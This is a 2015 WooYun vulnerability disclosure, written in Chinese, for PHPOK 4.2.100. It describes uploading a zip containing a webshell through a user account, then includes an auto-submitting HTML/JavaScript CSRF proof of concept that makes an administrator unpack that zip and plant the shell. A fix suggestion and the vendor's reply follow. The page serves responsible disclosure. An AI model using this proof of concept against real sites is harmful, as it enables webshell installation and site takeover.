当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091875

漏洞标题:phpok csrf成功getshell(二)

相关厂商:phpok.com

漏洞作者: Pany自留地

提交时间:2015-01-16 18:03

修复时间:2015-04-16 18:04

公开时间:2015-04-16 18:04

漏洞类型:CSRF

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-16: 细节已通知厂商并且等待厂商处理中
2015-01-16: 厂商已经确认,细节仅向厂商公开
2015-01-19: 细节向第三方安全合作伙伴开放
2015-03-12: 细节向核心白帽子及相关领域专家公开
2015-03-22: 细节向普通白帽子公开
2015-04-01: 细节向实习白帽子公开
2015-04-16: 细节向公众公开

简要描述:

前台注册一个帐号,上传zip文件,csrf后台升级(升级文件为上传的zip),成功getshell
对升级文件没进行校验。

详细说明:

版本:4.2.100
前台能上传zip文件,而且对升级文件没进行校验。
上传zip演示:
先把我们的木马文件test.php添加到压缩包内test.zip
注册一个帐号-修改资料.
选择一个正常图片,截获数据

QQ截图20150114164820.png


QQ截图20150114165013.png


然后修改数据。

QQ截图20150114165135.png


成功上传zip文件。记录下文件id号。我们这里是739
在 程序升级 » ZIP离线包升级 中的升级操作没有进行Referer验证。导致csrf产生

演示csrf:


123.png


poc:
zipfile为我们刚刚记录下的文件id号:739

<form action="http://localhost//phpok/admin.php?c=update&f=unzip" id="poc" name="poc" method="post">
<input type="hidden" name="zipfile" value=""/>
<input type="hidden" name="file" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script>
var t = document.poc;
t.zipfile.value="739";
t.file.value="739";
document.poc.submit();
</script>


管理员只要访问我们事先准备好的poc。 就能getshell
test.php躺在根目录那里。

漏洞证明:

访问poc文件

232.png


111.png

修复方案:

对升级文件进行校验。

版权声明:转载请注明来源 Pany自留地@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-01-16 19:12

厂商回复:

好吧,我表示很痛苦!对这个问题,我真心一时半会想不起来如何解决了!我们这边安排开发深入了解这个东东!:(
还有这个Bug和您之前提交的Bug是同一个!
另外,这个的基本前台是需要管理员登录吧!我们努力2月初打上这个补丁
(我想说的是,都能进后台了,那么还有什么不能操作的)

最新状态:

暂无